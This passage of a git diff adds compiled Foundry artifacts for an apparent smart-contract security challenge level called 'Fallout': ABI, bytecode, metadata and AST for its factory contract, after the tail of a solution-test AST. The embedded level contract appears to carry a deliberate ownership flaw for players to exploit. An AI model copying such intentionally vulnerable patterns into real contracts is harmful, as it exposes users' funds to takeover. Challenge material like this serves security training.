pure"}},"id":61000,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1821:61:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61001,"nodeType":"ExpressionStatement","src":"1821:61:130"}]},"documentation":{"id":60978,"nodeType":"StructuredDocumentation","src":"1673:44:130","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1731:9:130","parameters":{"id":60979,"nodeType":"ParameterList","parameters":[],"src":"1740:2:130"},"returnParameters":{"id":60980,"nodeType":"ParameterList","parameters":[],"src":"1750:0:130"},"scope":61004,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":60840,"name":"Test","nameLocations":["364:4:130"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"364:4:130"},"id":60841,"nodeType":"InheritanceSpecifier","src":"364:4:130"},{"baseName":{"id":60842,"name":"Utils","nameLocations":["370:5:130"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"370:5:130"},"id":60843,"nodeType":"InheritanceSpecifier","src":"370:5:130"}],"canonicalName":"TestFallout","contractDependencies":[49101,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[61004,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestFallout","nameLocation":"349:11:130","scope":61005,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":130} \ No newline at end of file diff --git a/contracts/out/FalloutFactory.sol/FalloutFactory.json b/contracts/out/FalloutFactory.sol/FalloutFactory.json new file mode 100644 index 000000000..ac02625a4 --- /dev/null +++ b/contracts/out/FalloutFactory.sol/FalloutFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561001057600080fd5b50600061001b61006a565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35061006e565b3390565b6107f48061007d6000396000f3fe60806040526004361061005a5760003560e01c80638da5cb5b116100435780638da5cb5b146100b8578063d38def5b146100cd578063f2fde38b1461011c5761005a565b8063715018a61461005f5780637726f77614610076575b600080fd5b34801561006b57600080fd5b5061007461014f565b005b61009c6004803603602081101561008c57600080fd5b50356001600160a01b031661021a565b604080516001600160a01b039092168252519081900360200190f35b3480156100c457600080fd5b5061009c61024d565b3480156100d957600080fd5b50610108600480360360408110156100f057600080fd5b506001600160a01b038135811691602001351661025c565b604080519115158252519081900360200190f35b34801561012857600080fd5b506100746004803603602081101561013f57600080fd5b50356001600160a01b03166102e3565b610157610404565b6001600160a01b031661016861024d565b6001600160a01b0316146101c3576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b60008060405161022990610408565b604051809103906000f080158015610245573d6000803e3d6000fd5b509392505050565b6000546001600160a01b031690565b600080839050826001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156102a557600080fd5b505afa1580156102b9573d6000803e3d6000fd5b505050506040513d60208110156102cf57600080fd5b50516001600160a01b031614949350505050565b6102eb610404565b6001600160a01b03166102fc61024d565b6001600160a01b031614610357576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03811661039c5760405162461bcd60e51b81526004018080602001828103825260268152602001806107996026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b3390565b610383806104168339019056fe608060405234801561001057600080fd5b50610363806100206000396000f3fe6080604052600436106100655760003560e01c8063a2dea26f11610043578063a2dea26f146100ba578063abaa9916146100ed578063ffd40b56146100f557610065565b80636fab5ddf1461006a5780638aa96f38146100745780638da5cb5b14610089575b600080fd5b61007261013a565b005b34801561008057600080fd5b50610072610182565b34801561009557600080fd5b5061009e610210565b604080516001600160a01b039092168252519081900360200190f35b3480156100c657600080fd5b50610072600480360360208110156100dd57600080fd5b50356001600160a01b031661021f565b610072610285565b34801561010157600080fd5b506101286004803603602081101561011857600080fd5b50356001600160a01b03166102b1565b60408051918252519081900360200190f35b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000163317908190556001600160a01b03166000908152602081905260409020349055565b6001546001600160a01b031633146101e1576040805162461bcd60e51b815260206004820152601760248201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f1935050505015801561020d573d6000803e3d6000fd5b50565b6001546001600160a01b031681565b6001600160a01b03811660009081526020819052604090205461024157600080fd5b6001600160a01b03811660008181526020819052604080822054905181156108fc0292818181858888f19350505050158015610281573d6000803e3d6000fd5b5050565b3360009081526020819052604090205461029f90346102cc565b33600090815260208190526040902055565b6001600160a01b031660009081526020819052604090205490565b600082820183811015610326576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fea26469706673582212209e969f523f5cded2a0ec4ac73949e2a42e972ecaee27417079a57a869b140c4b64736f6c634300060c00334f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212208ae540ac8826dbca351b34a0c790b62b8f152f94878ccafcacbcad08ed8bf4d564736f6c634300060c0033","sourceMap":"113:429:7:-:0;;;;;;;;;;;;-1:-1:-1;884:17:0;904:12;:10;:12::i;:::-;926:6;:18;;-1:-1:-1;;;;;;926:18:0;-1:-1:-1;;;;;926:18:0;;;;;;;959:43;;926:18;;-1:-1:-1;926:18:0;959:43;;926:6;;959:43;850:159;113:429:7;;598:104:4;685:10;598:104;:::o;113:429:7:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x60806040526004361061005a5760003560e01c80638da5cb5b116100435780638da5cb5b146100b8578063d38def5b146100cd578063f2fde38b1461011c5761005a565b8063715018a61461005f5780637726f77614610076575b600080fd5b34801561006b57600080fd5b5061007461014f565b005b61009c6004803603602081101561008c57600080fd5b50356001600160a01b031661021a565b604080516001600160a01b039092168252519081900360200190f35b3480156100c457600080fd5b5061009c61024d565b3480156100d957600080fd5b50610108600480360360408110156100f057600080fd5b506001600160a01b038135811691602001351661025c565b604080519115158252519081900360200190f35b34801561012857600080fd5b506100746004803603602081101561013f57600080fd5b50356001600160a01b03166102e3565b610157610404565b6001600160a01b031661016861024d565b6001600160a01b0316146101c3576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b60008060405161022990610408565b604051809103906000f080158015610245573d6000803e3d6000fd5b509392505050565b6000546001600160a01b031690565b600080839050826001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156102a557600080fd5b505afa1580156102b9573d6000803e3d6000fd5b505050506040513d60208110156102cf57600080fd5b50516001600160a01b031614949350505050565b6102eb610404565b6001600160a01b03166102fc61024d565b6001600160a01b031614610357576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03811661039c5760405162461bcd60e51b81526004018080602001828103825260268152602001806107996026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b3390565b610383806104168339019056fe608060405234801561001057600080fd5b50610363806100206000396000f3fe6080604052600436106100655760003560e01c8063a2dea26f11610043578063a2dea26f146100ba578063abaa9916146100ed578063ffd40b56146100f557610065565b80636fab5ddf1461006a5780638aa96f38146100745780638da5cb5b14610089575b600080fd5b61007261013a565b005b34801561008057600080fd5b50610072610182565b34801561009557600080fd5b5061009e610210565b604080516001600160a01b039092168252519081900360200190f35b3480156100c657600080fd5b50610072600480360360208110156100dd57600080fd5b50356001600160a01b031661021f565b610072610285565b34801561010157600080fd5b506101286004803603602081101561011857600080fd5b50356001600160a01b03166102b1565b60408051918252519081900360200190f35b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000163317908190556001600160a01b03166000908152602081905260409020349055565b6001546001600160a01b031633146101e1576040805162461bcd60e51b815260206004820152601760248201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f1935050505015801561020d573d6000803e3d6000fd5b50565b6001546001600160a01b031681565b6001600160a01b03811660009081526020819052604090205461024157600080fd5b6001600160a01b03811660008181526020819052604080822054905181156108fc0292818181858888f19350505050158015610281573d6000803e3d6000fd5b5050565b3360009081526020819052604090205461029f90346102cc565b33600090815260208190526040902055565b6001600160a01b031660009081526020819052604090205490565b600082820183811015610326576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fea26469706673582212209e969f523f5cded2a0ec4ac73949e2a42e972ecaee27417079a57a869b140c4b64736f6c634300060c00334f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212208ae540ac8826dbca351b34a0c790b62b8f152f94878ccafcacbcad08ed8bf4d564736f6c634300060c0033","sourceMap":"113:429:7:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1717:145:0;;;;;;;;;;;;;:::i;:::-;;152:183:7;;;;;;;;;;;;;;;;-1:-1:-1;152:183:7;-1:-1:-1;;;;;152:183:7;;:::i;:::-;;;;-1:-1:-1;;;;;152:183:7;;;;;;;;;;;;;;1085:85:0;;;;;;;;;;;;;:::i;341:199:7:-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;341:199:7;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;2011:240:0;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2011:240:0;-1:-1:-1;;;;;2011:240:0;;:::i;1717:145::-;1308:12;:10;:12::i;:::-;-1:-1:-1;;;;;1297:23:0;:7;:5;:7::i;:::-;-1:-1:-1;;;;;1297:23:0;;1289:68;;;;;-1:-1:-1;;;1289:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1823:1:::1;1807:6:::0;;1786:40:::1;::::0;-1:-1:-1;;;;;1807:6:0;;::::1;::::0;1786:40:::1;::::0;1823:1;;1786:40:::1;1853:1;1836:19:::0;;-1:-1:-1;;1836:19:0::1;::::0;;1717:145::o;152:183:7:-;226:7;262:16;281:13;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;262:32:7;152:183;-1:-1:-1;;;152:183:7:o;1085:85:0:-;1131:7;1157:6;-1:-1:-1;;;;;1157:6:0;1085:85;:::o;341:199:7:-;436:4;452:16;479:9;452:37;;526:7;-1:-1:-1;;;;;506:27:7;:8;-1:-1:-1;;;;;506:14:7;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;506:16:7;-1:-1:-1;;;;;506:27:7;;;341:199;-1:-1:-1;;;;341:199:7:o;2011:240:0:-;1308:12;:10;:12::i;:::-;-1:-1:-1;;;;;1297:23:0;:7;:5;:7::i;:::-;-1:-1:-1;;;;;1297:23:0;;1289:68;;;;;-1:-1:-1;;;1289:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2099:22:0;::::1;2091:73;;;;-1:-1:-1::0;;;2091:73:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2200:6;::::0;;2179:38:::1;::::0;-1:-1:-1;;;;;2179:38:0;;::::1;::::0;2200:6;::::1;::::0;2179:38:::1;::::0;::::1;2227:6;:17:::0;;-1:-1:-1;;2227:17:0::1;-1:-1:-1::0;;;;;2227:17:0;;;::::1;::::0;;;::::1;::::0;;2011:240::o;598:104:4:-;685:10;598:104;:::o;-1:-1:-1:-;;;;;;;;:::o","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.6.12+commit.27d51765\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/FalloutFactory.sol\":\"FalloutFactory\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-06/contracts/access/Ownable.sol\":{\"keccak256\":\"0x15e2d5bd4c28a88548074c54d220e8086f638a71ed07e6b3ba5a70066fcf458d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://90faf5851c02f9bd42c5bfb54d4f0421a2612f50ab80b2c4fa24fa3792071cc2\",\"dweb:/ipfs/QmRGM4F2PcGVF85aTfaA9YBhCHHDqrMhRjyp6fGeBTtirb\"]},\"lib/openzeppelin-contracts-06/contracts/math/SafeMath.sol\":{\"keccak256\":\"0xcc78a17dd88fa5a2edc60c8489e2f405c0913b377216a5b26b35656b2d0dab52\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://526dc85e1f9b9b45830e202568d267d93dde7a4fcccf4ad7798dadcd92304d3c\",\"dweb:/ipfs/QmaoXMB972J3cSDLtBq3xBo4jLwqD2uzXTwujtSPqkYVhR\"]},\"lib/openzeppelin-contracts-06/contracts/utils/Context.sol\":{\"keccak256\":\"0x8d3cb350f04ff49cfb10aef08d87f19dcbaecc8027b0bed12f3275cd12f38cf0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ded47ec7c96750f9bd04bbbc84f659992d4ba901cb7b532a52cd468272cf378f\",\"dweb:/ipfs/QmfBrGtQP7rZEqEg6Wz6jh2N2Kukpj1z5v3CGWmAqrzm96\"]},\"src/levels/Fallout.sol\":{\"keccak256\":\"0x2e982b57baf6889d16f012c35657fd8898c867898b9e2684530bed9279d80226\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a1c0ad4f5d67fd2baf6236a3aadc2fa5692e50e1e9cf3476d2232105a901e94a\",\"dweb:/ipfs/QmWX29GgdzbbxN7777Tch6SpZiLccp5ce5NrYicvTLTPZL\"]},\"src/levels/FalloutFactory.sol\":{\"keccak256\":\"0x9d6a6c45ed8f5beecb99ba9af4f0c0fc6dbf422c02baa8138e4b3b66f7a517a2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://397afdf25d2d2315e2d5c4156e065f596718839558725cc8aa03385f083f9531\",\"dweb:/ipfs/QmZkBAqD3amno179u1SXEfE7Y6ZdNZmZFzKwaspRQwvRLs\"]},\"src/levels/base/Level-06.sol\":{\"keccak256\":\"0x5f361ed66f99e554235b246964ec190b7605946d4bdda9d1e781e195cd7d4042\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://dd61d1b56e74f01def821077298e041264471599a5f4fe36cc1c32ee5e21b79f\",\"dweb:/ipfs/QmSTF94B2Kxro444irxu9Z5Hw518AZ98QiTmVG9j6W8s4Z\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.6.12+commit.27d51765"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/FalloutFactory.sol":"FalloutFactory"},"evmVersion":"istanbul","libraries":{}},"sources":{"lib/openzeppelin-contracts-06/contracts/access/Ownable.sol":{"keccak256":"0x15e2d5bd4c28a88548074c54d220e8086f638a71ed07e6b3ba5a70066fcf458d","urls":["bzz-raw://90faf5851c02f9bd42c5bfb54d4f0421a2612f50ab80b2c4fa24fa3792071cc2","dweb:/ipfs/QmRGM4F2PcGVF85aTfaA9YBhCHHDqrMhRjyp6fGeBTtirb"],"license":"MIT"},"lib/openzeppelin-contracts-06/contracts/math/SafeMath.sol":{"keccak256":"0xcc78a17dd88fa5a2edc60c8489e2f405c0913b377216a5b26b35656b2d0dab52","urls":["bzz-raw://526dc85e1f9b9b45830e202568d267d93dde7a4fcccf4ad7798dadcd92304d3c","dweb:/ipfs/QmaoXMB972J3cSDLtBq3xBo4jLwqD2uzXTwujtSPqkYVhR"],"license":"MIT"},"lib/openzeppelin-contracts-06/contracts/utils/Context.sol":{"keccak256":"0x8d3cb350f04ff49cfb10aef08d87f19dcbaecc8027b0bed12f3275cd12f38cf0","urls":["bzz-raw://ded47ec7c96750f9bd04bbbc84f659992d4ba901cb7b532a52cd468272cf378f","dweb:/ipfs/QmfBrGtQP7rZEqEg6Wz6jh2N2Kukpj1z5v3CGWmAqrzm96"],"license":"MIT"},"src/levels/Fallout.sol":{"keccak256":"0x2e982b57baf6889d16f012c35657fd8898c867898b9e2684530bed9279d80226","urls":["bzz-raw://a1c0ad4f5d67fd2baf6236a3aadc2fa5692e50e1e9cf3476d2232105a901e94a","dweb:/ipfs/QmWX29GgdzbbxN7777Tch6SpZiLccp5ce5NrYicvTLTPZL"],"license":"MIT"},"src/levels/FalloutFactory.sol":{"keccak256":"0x9d6a6c45ed8f5beecb99ba9af4f0c0fc6dbf422c02baa8138e4b3b66f7a517a2","urls":["bzz-raw://397afdf25d2d2315e2d5c4156e065f596718839558725cc8aa03385f083f9531","dweb:/ipfs/QmZkBAqD3amno179u1SXEfE7Y6ZdNZmZFzKwaspRQwvRLs"],"license":"MIT"},"src/levels/base/Level-06.sol":{"keccak256":"0x5f361ed66f99e554235b246964ec190b7605946d4bdda9d1e781e195cd7d4042","urls":["bzz-raw://dd61d1b56e74f01def821077298e041264471599a5f4fe36cc1c32ee5e21b79f","dweb:/ipfs/QmSTF94B2Kxro444irxu9Z5Hw518AZ98QiTmVG9j6W8s4Z"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/FalloutFactory.sol","id":1098,"exportedSymbols":{"FalloutFactory":[1097]},"nodeType":"SourceUnit","src":"33:510:7","nodes":[{"id":1047,"nodeType":"PragmaDirective","src":"33:23:7","nodes":[],"literals":["solidity","^","0.6",".0"]},{"id":1048,"nodeType":"ImportDirective","src":"58:29:7","nodes":[],"absolutePath":"src/levels/base/Level-06.sol","file":"./base/Level-06.sol","scope":1098,"sourceUnit":1741,"symbolAliases":[],"unitAlias":""},{"id":1049,"nodeType":"ImportDirective","src":"88:23:7","nodes":[],"absolutePath":"src/levels/Fallout.sol","file":"./Fallout.sol","scope":1098,"sourceUnit":1046,"symbolAliases":[],"unitAlias":""},{"id":1097,"nodeType":"ContractDefinition","src":"113:429:7","nodes":[{"id":1073,"nodeType":"FunctionDefinition","src":"152:183:7","nodes":[],"body":{"id":1072,"nodeType":"Block","src":"235:100:7","nodes":[],"statements":[{"expression":{"argumentTypes":null,"id":1059,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1053,"src":"245:7:7","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":1060,"nodeType":"ExpressionStatement","src":"245:7:7"},{"assignments":[1062],"declarations":[{"constant":false,"id":1062,"mutability":"mutable","name":"instance","nodeType":"VariableDeclaration","overrides":null,"scope":1072,"src":"262:16:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$1045","typeString":"contract Fallout"},"typeName":{"contractScope":null,"id":1061,"name":"Fallout","nodeType":"UserDefinedTypeName","referencedDeclaration":1045,"src":"262:7:7","typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$1045","typeString":"contract Fallout"}},"value":null,"visibility":"internal"}],"id":1066,"initialValue":{"argumentTypes":null,"arguments":[],"expression":{"argumentTypes":[],"id":1064,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"281:11:7","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Fallout_$1045_$","typeString":"function () returns (contract Fallout)"},"typeName":{"contractScope":null,"id":1063,"name":"Fallout","nodeType":"UserDefinedTypeName","referencedDeclaration":1045,"src":"285:7:7","typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$1045","typeString":"contract Fallout"}}},"id":1065,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"281:13:7","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$1045","typeString":"contract Fallout"}},"nodeType":"VariableDeclarationStatement","src":"262:32:7"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1069,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1062,"src":"319:8:7","typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$1045","typeString":"contract Fallout"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Fallout_$1045","typeString":"contract Fallout"}],"id":1068,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"311:7:7","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":1067,"name":"address","nodeType":"ElementaryTypeName","src":"311:7:7","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":1070,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"311:17:7","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":1058,"id":1071,"nodeType":"Return","src":"304:24:7"}]},"baseFunctions":[1730],"documentation":null,"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","overrides":{"id":1055,"nodeType":"OverrideSpecifier","overrides":[],"src":"208:8:7"},"parameters":{"id":1054,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1053,"mutability":"mutable","name":"_player","nodeType":"VariableDeclaration","overrides":null,"scope":1073,"src":"176:15:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1052,"name":"address","nodeType":"ElementaryTypeName","src":"176:7:7","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"175:17:7"},"returnParameters":{"id":1058,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1057,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":1073,"src":"226:7:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1056,"name":"address","nodeType":"ElementaryTypeName","src":"226:7:7","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"225:9:7"},"scope":1097,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":1096,"nodeType":"FunctionDefinition","src":"341:199:7","nodes":[],"body":{"id":1095,"nodeType":"Block","src":"442:98:7","nodes":[],"statements":[{"assignments":[1084],"declarations":[{"constant":false,"id":1084,"mutability":"mutable","name":"instance","nodeType":"VariableDeclaration","overrides":null,"scope":1095,"src":"452:16:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$1045","typeString":"contract Fallout"},"typeName":{"contractScope":null,"id":1083,"name":"Fallout","nodeType":"UserDefinedTypeName","referencedDeclaration":1045,"src":"452:7:7","typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$1045","typeString":"contract 